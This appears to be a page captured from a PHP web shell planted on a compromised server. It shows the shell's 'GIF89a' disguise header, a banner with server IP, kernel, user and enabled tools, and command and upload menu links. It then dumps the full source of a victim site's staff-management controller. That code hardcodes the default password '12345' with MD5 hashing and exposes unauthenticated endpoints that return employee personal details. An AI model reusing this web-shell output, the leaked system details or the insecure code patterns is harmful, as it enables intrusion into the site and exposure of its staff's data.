GIF89a;
Server IP : 172.26.0.195 / Your IP : 18.224.54.61 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/pdf/../css/../../cas/application/controllers/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /** * Controller class for handling all requests related to roles. * * @author Softpro India Pvt. Ltd. */ defined('BASEPATH') OR exit('No direct script access allowed'); class Staff extends CI_Controller { public function __construct() { parent::__construct(); $this->load->model('admin/StaffManagement'); $this->load->model('admin/LocationManagement'); $this->load->model('admin/BranchManagement'); $this->load->model('admin/DepartmentManagement'); $this->load->model('admin/DesignationManagement'); $this->load->model('admin/RoleManagement'); $this->load->model('admin/DocumentManagement'); $this->load->model('admin/DocumentInfoManagement'); $this->load->model('admin/MenuManagement'); $this->load->model('admin/IDProofManagement'); $this->load->model('admin/AchievementManagement'); $this->load->library('services/SMSServices'); $this->load->library('util/SMSSender'); } public function index() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allEmployees'] = $this->StaffManagement->getAllEmployees()->result(); $this->load->view('admin/staff/employees', $viewData); } else { redirect("admin/"); } } public function addNewEmployee() { if ($this->sessionvalidator->isLoggedIn()) { $viewData['states'] = $this->LocationManagement->getAllNonDeletedStates()->result(); $viewData['branches'] = $this->BranchManagement->getAllNonDeletedBrances()->result(); $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result(); $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result(); $viewData['roles'] = $this->RoleManagement->getNonDeletedRoles()->result(); $this->load->view('admin/staff/createEmployee', $viewData); } else { redirect("admin/"); } } public function saveNewEmployeeInfo() { if ($this->sessionvalidator->isLoggedIn()) { $this->form_validation->set_rules('empFirstName', 'Employee First Name', 'trim|required', array('required' => 'Employee First Name Can Not Be Blank.')); $this->form_validation->set_rules('empGender', 'Employee Gender', 'trim|required', array('required' => 'Please Select Employee Gender.')); $this->form_validation->set_rules('empMobile', 'Employee Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Employee Mobile Is Required.')); $this->form_validation->set_rules('empEmail', 'Employee Email', 'trim|required|valid_email', array('required' => 'Employee Email Is Required.')); $this->form_validation->set_rules('empBranch', 'Employee Branch', 'trim|required', array('required' => 'Please Select Working Branch Of Employee.')); $this->form_validation->set_rules('empDept', 'Employee Department', 'trim|required', array('required' => 'Please Select Employee Department.')); $this->form_validation->set_rules('empSubDept', 'Employee Sub-Department', 'trim|required', array('required' => 'Please Select Employee Sub-Department.')); $this->form_validation->set_rules('empDesig', 'Employee Designation', 'trim|required', array('required' => 'Please Select Employee Designation.')); $this->form_validation->set_rules('empRole', 'Employee Role', 'trim|required', array('required' => 'Please Select Employee Role.')); $this->form_validation->set_rules('empSigninId', 'Employee SigninId', 'trim|required', array('required' => 'Employee Email Is Required.')); //$queryByEmpEmail = $this->StaffManagement->getProfileInfoByEmail(trim($this->input->post('empEmail'))); //$empInfoByEmail = $queryByEmpEmail->result(); //$queryByEmpMobile = $this->StaffManagement->getProfileInfoByMobile(trim($this->input->post('empMobile'))); //$empInfoByMobile = $queryByEmpMobile->result(); if (trim($this->input->post('empCodeId')) != "") { $queryByEmpCodeId = $this->StaffManagement->getEmployeeInfoByCodeId(trim($this->input->post('empCodeId'))); $empInfoByCodeId = $queryByEmpCodeId->result(); } else { $empInfoByCodeId = array(); } $queryByEmpSigninId = $this->StaffManagement->getLoginDetailInfoBySigninId(trim($this->input->post('empSigninId'))); $empInfoBySigninId = $queryByEmpSigninId->result(); if ($this->form_validation->run() == FALSE) { $this->addNewEmployee(); } /* else if (sizeof($empInfoByEmail)) { $this->session->set_flashdata('errorMessage', "An Employee With This Email (" . trim($this->input->post('empEmail')) . ") Already Exits. Please choose A Different Email."); $this->addNewEmployee(); } else if (sizeof($empInfoByMobile)) { $this->session->set_flashdata('errorMessage', "An Employee With This Mobile (" . trim($this->input->post('empMobile')) . ") Already Exits. Please Try With Different Mobile."); $this->addNewEmployee(); } */ else if (sizeof($empInfoByCodeId)) { $this->session->set_flashdata('errorMessage', "This Employee Id/Code (" . trim($this->input->post('empCodeId')) . ") Is Already Assigned To Some Other Employee. Please Enter Correct Employee Id/Code."); $this->addNewEmployee(); } else if (sizeof($empInfoBySigninId)) { $this->session->set_flashdata('errorMessage', "This Signin Id (" . trim($this->input->post('empSigninId')) . ") Is Not Available. Please Choose A Different One."); $this->addNewEmployee(); } else { $workingStatus = ""; if ($this->input->post('empHasResigned') == "T") { $workingStatus = "L"; } else { $workingStatus = ($this->input->post('empIsHead') == "T") ? "A" : "W"; } //$password = substr(md5(time()), 0, 6); $password = '12345'; $newEmployeeLoginDetailInfo = array( 'tld_signinid' => trim($this->input->post('empSigninId')), 'tld_password' => MD5($password), 'branch_id' => $this->input->post('empBranch'), 'tld_is_head' => ($this->input->post('empIsHead') == "" || $this->input->post('empIsHead') == NULL) ? 'F' : $this->input->post('empIsHead'), 'sub_dept_id' => $this->input->post('empSubDept'), 'tld_working_status' => $workingStatus, 'tld_created_on' => date("Y-m-d H:i:s"), 'tld_created_by' => $this->session->userdata("adminData")["smember_id"], 'tld_updated_on' => date("Y-m-d H:i:s"), 'tld_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $newEmployeeProfileInfo = array( 'tprfl_firstname' => addslashes(trim($this->input->post('empFirstName'))), 'tprfl_lastname' => addslashes(trim($this->input->post('empLastName'))), 'tprfl_gender' => $this->input->post('empGender'), 'tprfl_comm_state' => ($this->input->post('empCommState') == "") ? 0 : $this->input->post('empCommState'), 'tprfl_comm_city' => ($this->input->post('empCommCity') == "") ? 0 : $this->input->post('empCommCity'), 'tprfl_comm_full_address' => addslashes(trim($this->input->post('empCommFullAddress'))), 'tprfl_perma_state' => ($this->input->post('empPermaState') == "") ? 0 : $this->input->post('empPermaState'), 'tprfl_perma_city' => ($this->input->post('empPermaCity') == "") ? 0 : $this->input->post('empPermaCity'), 'tprfl_perma_full_address' => addslashes(trim($this->input->post('empPermaFullAddress'))), 'tprfl_mobile_no' => trim($this->input->post('empMobile')), 'tprfl_tel_no' => trim($this->input->post('empTelNo')), 'tprfl_email' => $this->input->post('empEmail'), 'tprfl_dob' => ($this->input->post('empDOB') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOB')))), 'desig_id' => $this->input->post('empDesig'), 'tprfl_doj' => ($this->input->post('empDOJ') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOJ')))), 'tprfl_dor' => ($this->input->post('empDOR') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOR')))), 'tprfl_appointment_type' => trim($this->input->post('empAppType')), 'tprfl_created_on' => date("Y-m-d H:i:s"), 'tprfl_created_by' => $this->session->userdata("adminData")["smember_id"], 'tprfl_updated_on' => date("Y-m-d H:i:s"), 'tprfl_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $newEmployeeStaffMemberInfo = array( 'role_id' => $this->input->post('empRole'), 'smember_code' => addslashes(trim($this->input->post('empCodeId'))), 'tprfl_id' => '', 'tld_id' => '' ); $newEmployeeStaffPromotionInfo = array( 'smember_id' => '', 'desig_id' => $this->input->post('empDesig'), 'spm_doj' => ($this->input->post('empDOJ') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOJ')))), 'spm_dor' => ($this->input->post('empDOR') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOR')))), 'spm_added_on' => date("Y-m-d H:i:s"), 'spm_added_by' => $this->session->userdata("adminData")["smember_id"], 'spm_updated_on' => date("Y-m-d H:i:s"), 'spm_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $PANInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(1, "E")->result()[0]; $newEmployeePANInfo = array( 'tipi_number' => trim($this->input->post('empPAN')), 'rel_id' => 0, 'tipsm_id' => $PANInfo->tipsm_id, 'tipi_added_on' => date("Y-m-d H:i:s"), 'tipi_updated_on' => date("Y-m-d H:i:s"), 'tipi_added_by' => $this->session->userdata("adminData")["smember_id"], 'tipi_updated_by' => $this->session->userdata("adminData")["smember_id"], 'tipi_for' => '' ); $aadharInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(2, "E")->result()[0]; $newEmployeeAadharInfo = array( 'tipi_number' => trim($this->input->post('empAadhar')), 'rel_id' => 0, 'tipsm_id' => $aadharInfo->tipsm_id, 'tipi_added_on' => date("Y-m-d H:i:s"), 'tipi_updated_on' => date("Y-m-d H:i:s"), 'tipi_added_by' => $this->session->userdata("adminData")["smember_id"], 'tipi_updated_by' => $this->session->userdata("adminData")["smember_id"], 'tipi_for' => '' ); $docIdForProfilePic = $this->DocumentManagement->getDocumentByFlag("PP")->result()[0]->doc_id; $newEmployeeProfilePicInfo = array( 'tddi_doc_id' => $docIdForProfilePic, 'tddi_doc_file_path' => "/assets/admin/images/ext_users/default.png", 'tddi_code' => $docIdForProfilePic, 'tddi_user_type_flag' => 'E', 'tddi_mapping_id' => '', 'tddi_added_on' => date("Y-m-d H:i:s"), 'tddi_updated_on' => date("Y-m-d H:i:s"), 'tddi_added_by' => $this->session->userdata("adminData")["smember_id"], 'tddi_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $newEmployeeEducationalQualificationInfo = array( 'smember_id' => '', 'seqi_updated_on' => date("Y-m-d H:i:s") ); $this->db->trans_start(); $tld_id = $this->StaffManagement->createNewEmployeeLoginDetail($newEmployeeLoginDetailInfo); if ($tld_id) { $tprfl_id = $this->StaffManagement->createNewEmployeeProfileDetail($newEmployeeProfileInfo); if ($tprfl_id) { $newEmployeeStaffMemberInfo['tprfl_id'] = $tprfl_id; $newEmployeeStaffMemberInfo['tld_id'] = $tld_id; $smember_id = $this->StaffManagement->createNewEmployeeStaffMemberDetail($newEmployeeStaffMemberInfo); if ($smember_id) { $newEmployeeProfilePicInfo['tddi_mapping_id'] = $smember_id; $newEmployeeStaffPromotionInfo['smember_id'] = $smember_id; $newEmployeeEducationalQualificationInfo['smember_id'] = $smember_id; $newEmployeePANInfo['tipi_for'] = $smember_id; $newEmployeeAadharInfo['tipi_for'] = $smember_id; $newEmployeeIDProofs = array($newEmployeePANInfo, $newEmployeeAadharInfo); if ($this->DocumentInfoManagement->createNewDocumentInfo($newEmployeeProfilePicInfo) && $this->StaffManagement->createNewPromotion($newEmployeeStaffPromotionInfo) && $this->IDProofManagement->createNewIDProofInfoMulti($newEmployeeIDProofs) && $this->StaffManagement->createNewEmployeeEducationalQualificationDetail($newEmployeeEducationalQualificationInfo)) { $this->db->trans_complete(); //$this->smssender->sendSMS(trim($this->input->post('empMobile')), $this->smsservices->sendCredentials(trim($this->input->post('empFirstName')), trim($this->input->post('empSigninId')), $password)); $this->session->set_flashdata('successMessage', 'Employee Added Successfully.'); redirect("admin/Staff"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Employee Profile Image. Try Later.'); redirect(current_url()); } } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Employee Staff Member Entry. Try Later.'); redirect(current_url()); } } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Profile. Try Later.'); redirect(current_url()); } } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Login Credentials. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function editEmployee($smember_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['states'] = $this->LocationManagement->getAllNonDeletedStates()->result(); $viewData['branches'] = $this->BranchManagement->getAllNonDeletedBrances()->result(); $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result(); $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result(); $viewData['roles'] = $this->RoleManagement->getNonDeletedRoles()->result(); $viewData['smember_info'] = $this->StaffManagement->getEmployeeInfoBy($smember_id)->result()[0]; $PANInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(1, "E")->result()[0]; $viewData['staffPANNumber'] = $this->IDProofManagement->getIdProofInfoBy($smember_id, $PANInfo->tipsm_id)->result()[0]->tipi_number; $viewData['staffPANInfoId'] = $this->IDProofManagement->getIdProofInfoBy($smember_id, $PANInfo->tipsm_id)->result()[0]->tipi_id; $aadharInfo = $this->IDProofManagement->getIDProofAndSubIdProofInfoBy(2, "E")->result()[0]; $viewData['staffAadharNumber'] = $this->IDProofManagement->getIdProofInfoBy($smember_id, $aadharInfo->tipsm_id)->result()[0]->tipi_number; $viewData['staffAadharInfoId'] = $this->IDProofManagement->getIdProofInfoBy($smember_id, $aadharInfo->tipsm_id)->result()[0]->tipi_id; $this->load->view('admin/staff/editEmployee', $viewData); } else { redirect("admin/"); } } public function updateEmployeeInfo() { if ($this->sessionvalidator->isLoggedIn()) { $smemberId = $this->input->post('smemberId'); $tldId = $this->input->post('tldId'); $tprflId = $this->input->post('tprflId'); $this->form_validation->set_rules('empFirstName', 'Employee First Name', 'trim|required', array('required' => 'Employee First Name Can Not Be Blank.')); $this->form_validation->set_rules('empGender', 'Employee Gender', 'trim|required', array('required' => 'Please Select Employee Gender.')); $this->form_validation->set_rules('empMobile', 'Employee Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Employee Mobile Is Required.')); $this->form_validation->set_rules('empEmail', 'Employee Email', 'trim|required|valid_email', array('required' => 'Employee Email Is Required.')); $this->form_validation->set_rules('empBranch', 'Employee Branch', 'trim|required', array('required' => 'Please Select Working Branch Of Employee.')); $this->form_validation->set_rules('empDept', 'Employee Department', 'trim|required', array('required' => 'Please Select Employee Department.')); $this->form_validation->set_rules('empSubDept', 'Employee Sub-Department', 'trim|required', array('required' => 'Please Select Employee Sub-Department.')); $this->form_validation->set_rules('empDesig', 'Employee Designation', 'trim|required', array('required' => 'Please Select Employee Designation.')); $this->form_validation->set_rules('empRole', 'Employee Role', 'trim|required', array('required' => 'Please Select Employee Role.')); $this->form_validation->set_rules('empSigninId', 'Employee SigninId', 'trim|required', array('required' => 'Employee Email Is Required.')); if ($this->form_validation->run() == FALSE) { $this->editEmployee($smemberId); } /* else if (!$this->StaffManagement->isEmployeeEmailSafeUpdate($tprflId, trim($this->input->post('empEmail')))) { $this->session->set_flashdata('errorMessage', "An Employee With This Email (" . trim($this->input->post('empEmail')) . ") Already Exits. Please choose A Different Email."); $this->editEmployee($smemberId); } else if (!$this->StaffManagement->isEmployeeMobileSafeUpdate($tprflId, trim($this->input->post('empMobile')))) { $this->session->set_flashdata('errorMessage', "An Employee With This Mobile (" . trim($this->input->post('empMobile')) . ") Already Exits. Please Try With Different Mobile."); $this->editEmployee($smemberId); } */ else if (!$this->StaffManagement->isEmployeeSigninIdSafeUpdate($tldId, trim($this->input->post('empSigninId')))) { $this->session->set_flashdata('errorMessage', "This Signin Id (" . trim($this->input->post('empSigninId')) . ") Is Not Available. Please Choose A Different One."); $this->editEmployee($smemberId); } else if (trim($this->input->post('empCodeId')) != "" && (!$this->StaffManagement->isEmployeeCodeIdSafeUpdate($tldId, trim($this->input->post('empCodeId'))))) { $this->session->set_flashdata('errorMessage', "This Employee Id/Code (" . trim($this->input->post('empCodeId')) . ") Is Already Assigned To Some Other Employee. Please Enter Correct Employee Id/Code."); $this->editEmployee($smemberId); } else { $workingStatus = ""; if ($this->input->post('empHasResigned') == "T") { $workingStatus = "L"; } else { $workingStatus = ($this->input->post('empIsHead') == "T") ? "A" : "W"; } $employeeLoginDetailInfo = array( 'tld_id' => $tldId, 'tld_signinid' => trim($this->input->post('empSigninId')), 'branch_id' => $this->input->post('empBranch'), 'tld_is_head' => ($this->input->post('empIsHead') == "" || $this->input->post('empIsHead') == NULL) ? 'F' : $this->input->post('empIsHead'), 'sub_dept_id' => $this->input->post('empSubDept'), 'tld_working_status' => $workingStatus, 'tld_updated_on' => date("Y-m-d H:i:s"), 'tld_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $employeeProfileInfo = array( 'tprfl_id' => $tprflId, 'tprfl_firstname' => addslashes(trim($this->input->post('empFirstName'))), 'tprfl_lastname' => addslashes(trim($this->input->post('empLastName'))), 'tprfl_gender' => $this->input->post('empGender'), 'tprfl_comm_state' => ($this->input->post('empCommState') == "") ? 0 : $this->input->post('empCommState'), 'tprfl_comm_city' => ($this->input->post('empCommCity') == "") ? 0 : $this->input->post('empCommCity'), 'tprfl_comm_full_address' => addslashes(trim($this->input->post('empCommFullAddress'))), 'tprfl_perma_state' => ($this->input->post('empPermaState') == "") ? 0 : $this->input->post('empPermaState'), 'tprfl_perma_city' => ($this->input->post('empPermaCity') == "") ? 0 : $this->input->post('empPermaCity'), 'tprfl_perma_full_address' => addslashes(trim($this->input->post('empPermaFullAddress'))), 'tprfl_mobile_no' => $this->input->post('empMobile'), 'tprfl_tel_no' => $this->input->post('empTelNo'), 'tprfl_email' => $this->input->post('empEmail'), 'tprfl_dob' => ($this->input->post('empDOB') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOB')))), 'desig_id' => $this->input->post('empDesig'), 'tprfl_doj' => ($this->input->post('empDOJ') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOJ')))), 'tprfl_dor' => ($this->input->post('empDOR') == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOR')))), 'tprfl_appointment_type' => $this->input->post('empAppType'), 'tprfl_updated_on' => date("Y-m-d H:i:s"), 'tprfl_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $employeeStaffMemberInfo = array( 'smember_id' => $smemberId, 'role_id' => $this->input->post('empRole'), 'tprfl_id' => $tprflId, 'tld_id' => $tldId, 'smember_code' => addslashes(trim($this->input->post('empCodeId'))) ); $employeePANInfo = array( 'tipi_id' => trim($this->input->post('empPANInfoId')), 'tipi_number' => trim($this->input->post('empPAN')), 'tipi_updated_on' => date("Y-m-d H:i:s"), 'tipi_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $employeeAadharInfo = array( 'tipi_id' => trim($this->input->post('empAadharInfoId')), 'tipi_number' => trim($this->input->post('empAadhar')), 'tipi_updated_on' => date("Y-m-d H:i:s"), 'tipi_updated_by' => $this->session->userdata("adminData")["smember_id"] ); $employeeIdProofs = array($employeePANInfo, $employeeAadharInfo); $this->db->trans_start(); if ($this->StaffManagement->updateLoginDetailsInfo($employeeLoginDetailInfo)) { if ($this->StaffManagement->updateProfileInfo($employeeProfileInfo)) { if ($this->StaffManagement->updateStaffMemberDetail($employeeStaffMemberInfo) && $this->IDProofManagement->updateIDProofInfoMulti($employeeIdProofs)) { $this->db->trans_complete(); $this->session->set_flashdata('successMessage', 'Employee Info Updated Successfully.'); redirect("admin/Staff"); } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Employee Staff Member Entry. Try Later.'); redirect(current_url()); } } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Profile. Try Later.'); redirect(current_url()); } } else { $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Login Credentials. Try Later.'); redirect(current_url()); } } } else { redirect("admin/"); } } public function toggleStaffLoginActiveStatus($tld_id, $toUpdateStatus) { if ($this->sessionvalidator->isLoggedIn()) { $staffLoginDetailUpdateData = array( 'tld_id' => $tld_id, 'tld_updated_on' => date("Y-m-d H:i:s"), 'tld_updated_by' => $this->session->userdata("adminData")["smember_id"], 'tld_login_status' => $toUpdateStatus ); if ($this->StaffManagement->updateLoginDetailsInfo($staffLoginDetailUpdateData)) { $this->session->set_flashdata('successMessage', 'Login Status Updated Successfully.'); redirect("admin/Staff"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Login Status. Try Later.'); redirect("admin/Staff"); } } else { redirect("admin/"); } } public function resetStaffLoginPassword($tld_id) { if ($this->sessionvalidator->isLoggedIn()) { $staffLoginDetailUpdateData = array( 'tld_id' => $tld_id, 'tld_updated_on' => date("Y-m-d H:i:s"), 'tld_updated_by' => $this->session->userdata("adminData")["smember_id"], 'tld_password' => MD5("12345") ); if ($this->StaffManagement->updateLoginDetailsInfo($staffLoginDetailUpdateData)) { $this->session->set_flashdata('successMessage', 'Password Has Been Successfully Reset To 12345.'); redirect("admin/Staff"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Login Status. Try Later.'); redirect("admin/Staff"); } } else { redirect("admin/"); } } public function deleteStaff($tld_id) { if ($this->sessionvalidator->isLoggedIn()) { $staffLoginDetailUpdateData = array( 'tld_id' => $tld_id, 'tld_updated_on' => date("Y-m-d H:i:s"), 'tld_updated_by' => $this->session->userdata("adminData")["smember_id"], 'tld_delete_status' => 'T' ); if ($this->StaffManagement->updateLoginDetailsInfo($staffLoginDetailUpdateData)) { $this->session->set_flashdata('successMessage', 'Employee Deleted Successfully.'); redirect("admin/Staff"); } else { $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Employee. Try Later.'); redirect("admin/Staff"); } } else { redirect("admin/"); } } public function viewEmployee($smember_id) { if ($this->sessionvalidator->isLoggedIn()) { $viewData['employeeInfo'] = $this->StaffManagement->getEmployeeInfoBy($smember_id)->result()[0]; $viewData['employeePromotion'] = $this->StaffManagement->getEmployeeAllPromotions($smember_id)->result(); $viewData['employeeAchievement'] = $this->AchievementManagement->getAllAchievementsBy($smember_id, 'E', '')->result(); $this->load->view('admin/staff/viewEmployee', $viewData); } else { redirect("admin/"); } } public function getStaffFullInfo() { $smember_id = $_POST['smember_id']; $staff_info = $this->StaffManagement->getEmployeeInfoBy($smember_id)->result()[0]; $loginActiveStatus = ""; if ($staff_info->tld_delete_status == "F" && $staff_info->tld_login_status == "T" && $staff_info->tld_working_status != "L") { $loginActiveStatus = "<i class='fa fa-check' style='color:#00FF00;'></i> Active"; } else if ($staff_info->tld_delete_status == "F" && $staff_info->tld_login_status == "F" && $staff_info->tld_working_status != "L") { $loginActiveStatus = "<i class='fa fa-ban' style='color:#FF0000;'></i> Blocked"; } else if ($staff_info->tld_delete_status == "F" && $staff_info->tld_working_status == "L") { $loginActiveStatus = "<i class='fa fa-user-times' style='color:#FF0000;'></i> Employee Left Organization"; } else { $loginActiveStatus = "<i class='fa fa-trash' style='color:#FF0000;'></i> Employee Deleted"; } $workStatus = ($staff_info->tld_working_status == "L") ? "Employee Resigned On " . date('d-m-Y', strtotime($staff_info->tprfl_dor)) : (($staff_info->tld_delete_status == "T") ? "<i class='fa fa-trash' style='color:#FF0000;'></i> Deleted" : "<i class='fa fa-check-circle' style='color:#00FF00;'></i> Working"); $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'smember_id' => $staff_info->smember_id, 'staff_code_id' => ($staff_info->smember_code == "" || $staff_info->smember_code == NULL) ? "NA" : stripslashes($staff_info->smember_code), 'staff_name' => stripslashes($staff_info->tprfl_firstname) . " " . stripslashes($staff_info->tprfl_lastname), 'staff_gender' => ($staff_info->tprfl_gender == "M") ? "<i class='fa fa-male'></i>Male" : "<i class='fa fa-female'></i>Female", 'staff_comm_city' => stripslashes($staff_info->commCityName), 'staff_comm_state' => stripslashes($staff_info->commStateName), 'staff_comm_address' => ($staff_info->tprfl_comm_full_address == "" || $staff_info->tprfl_comm_full_address == NULL) ? "NA" : stripslashes($staff_info->tprfl_comm_full_address), 'staff_resid_city' => stripslashes($staff_info->residCityName), 'staff_resid_state' => stripslashes($staff_info->residStateName), 'staff_resid_address' => ($staff_info->tprfl_perma_full_address == "" || $staff_info->tprfl_perma_full_address == NULL) ? "NA" : stripslashes($staff_info->tprfl_perma_full_address), 'staff_tel_no' => ($staff_info->tprfl_tel_no == "" || $staff_info->tprfl_tel_no == NULL) ? "NA" : $staff_info->tprfl_tel_no, 'staff_email' => $staff_info->tprfl_email, 'staff_mobile' => $staff_info->tprfl_mobile_no, 'staff_dob' => date('d-m-Y', strtotime($staff_info->tprfl_dob)), 'staff_designation' => stripslashes($staff_info->designatioName), 'staff_role' => stripslashes($staff_info->role_name), 'staff_login_created_by' => $staff_info->addedByAdmin . " At " . date('d-m-Y h:i:s A', strtotime($staff_info->tld_created_on)), 'saff_profile_updated_on' => date('d-m-Y h:i:s A', strtotime($staff_info->tprfl_updated_on)) . " | Self Updated", 'staff_security_info_updated_on' => date('d-m-Y h:i:s A', strtotime($staff_info->tld_updated_on)) . " | Self Updated", 'staff_doj' => date('d-m-Y', strtotime($staff_info->tprfl_doj)), 'staff_signinid' => $staff_info->tld_signinid, 'staff_branch' => stripslashes($staff_info->branch_name), 'staff_is_head' => ($staff_info->tld_is_head == "T") ? "Yes" : "No", 'staff_have_logged_in' => ($staff_info->tld_is_first_login == "F") ? "Yes" : "No", 'staff_sub_dept' => stripslashes($staff_info->sub_dept_name), 'staff_dept' => stripslashes($staff_info->dept_name), 'staff_work_status' => $workStatus, 'staff_login_status' => $loginActiveStatus, 'staff_photograph' => $staff_info->staff_photograph ); echo json_encode($responseData); } public function getAllEmployeesByDesignationForDropDown() { $desig_id = $_POST['desig_id']; $query = $this->StaffManagement->getAllWorkingEmployeesUnderGivenDesignation($desig_id); //echo $this->db->last_query(); $empList = $query->result(); $options = "<option value=''>Select Employee</option>"; for ($i = 0; $i < (sizeof($empList)); $i++) { $options .= "<option value=" . $empList[$i]->smember_id . ">" . stripslashes($empList[$i]->tprfl_firstname . " " . $empList[$i]->tprfl_lastname) . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'emp_list' => $options ); echo json_encode($responseData); } public function getAllEmployeesBySubDepartmentForDropDown() { $sub_dept_id = $_POST['sub_dept_id']; $query = $this->StaffManagement->getAllWorkingEmployeesUnderGivenSubDepartment($sub_dept_id); $empList = $query->result(); $options = "<option value=''>Select Employee</option>"; for ($i = 0; $i < (sizeof($empList)); $i++) { $options .= "<option value=" . $empList[$i]->smember_id . ">" . stripslashes($empList[$i]->tprfl_firstname . " " . $empList[$i]->tprfl_lastname) . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'emp_list' => $options ); echo json_encode($responseData); } public function getAllEmployeesBySubDepartmentForDropDownSelected() { $sub_dept_id = $_POST['sub_dept_id']; $smember_id = $_POST['smember_id']; $query = $this->StaffManagement->getAllWorkingEmployeesUnderGivenSubDepartment($sub_dept_id); $empList = $query->result(); $options = "<option value=''>Select Employee</option>"; for ($i = 0; $i < (sizeof($empList)); $i++) { $selected = ($empList[$i]->smember_id == $smember_id) ? "selected" : ""; $options .= "<option value=" . $empList[$i]->smember_id . " " . $selected . ">" . stripslashes($empList[$i]->tprfl_firstname . " " . $empList[$i]->tprfl_lastname) . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'emp_list' => $options ); echo json_encode($responseData); } public function getAllEmployeesBySubDepartmentAndDesignatinCategoryForDropDown() { $sub_dept_id = $_POST['sub_dept_id']; $desig_type = $_POST['dcm_id']; $query = $this->StaffManagement->getAllWorkingEmployeesUnderGivenSubDepartmentAndDesignationType($sub_dept_id, $desig_type); $empList = $query->result(); $options = "<option value=''>Select Employee</option>"; for ($i = 0; $i < (sizeof($empList)); $i++) { $options .= "<option value=" . $empList[$i]->smember_id . ">" . stripslashes($empList[$i]->tprfl_firstname . " " . $empList[$i]->tprfl_lastname) . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'emp_list' => $options ); echo json_encode($responseData); } public function getAllEmployeesBySubDepartmentAndDesignatinCategoryForDropDownConfig() { $sub_dept_id = $_POST['sub_dept_id']; $desig_type = $_POST['dcm_id']; $query = $this->StaffManagement->getAllWorkingEmployeesUnderGivenSubDepartmentAndDesignationType($sub_dept_id, $desig_type); $empList = $query->result(); $options = ""; for ($i = 0; $i < (sizeof($empList)); $i++) { $options .= "<option value=" . $empList[$i]->smember_id . ">" . stripslashes($empList[$i]->tprfl_firstname . " " . $empList[$i]->tprfl_lastname) . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'emp_list' => $options ); echo json_encode($responseData); } public function getAllEmployeesByRoleForDropDown() { $role_id = $_POST['role_id']; $smember_id = (isset($_POST['smember_id'])) ? $_POST['smember_id'] : ""; $query = $this->StaffManagement->getAllWorkingEmployeesUnderGivenRole($role_id); $empList = $query->result(); $options = ""; for ($i = 0; $i < (sizeof($empList)); $i++) { $selected = ""; if ($smember_id != "" && ($empList[$i]->smember_id == $smember_id )) { $selected = "selected"; } $options .= "<option value=" . $empList[$i]->smember_id . " " . $selected . ">" . stripslashes($empList[$i]->tprfl_firstname . " " . $empList[$i]->tprfl_lastname) . "(" . $empList[$i]->tld_signinid . ")" . "</option>"; } $responseData = array( 'csrfName' => $this->security->get_csrf_token_name(), 'csrfHash' => $this->security->get_csrf_hash(), 'emp_list' => $options ); echo json_encode($responseData); } public function supervisors() { if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) { $viewData['allSupervisorsAndSubordinates'] = $this->StaffManagement->getAllSupervisorsAndSubordinates()->result(); $this->load->view('admin/staff/supervisors', $viewData); } else { redirect("admin/"); } } /* Request Handlers 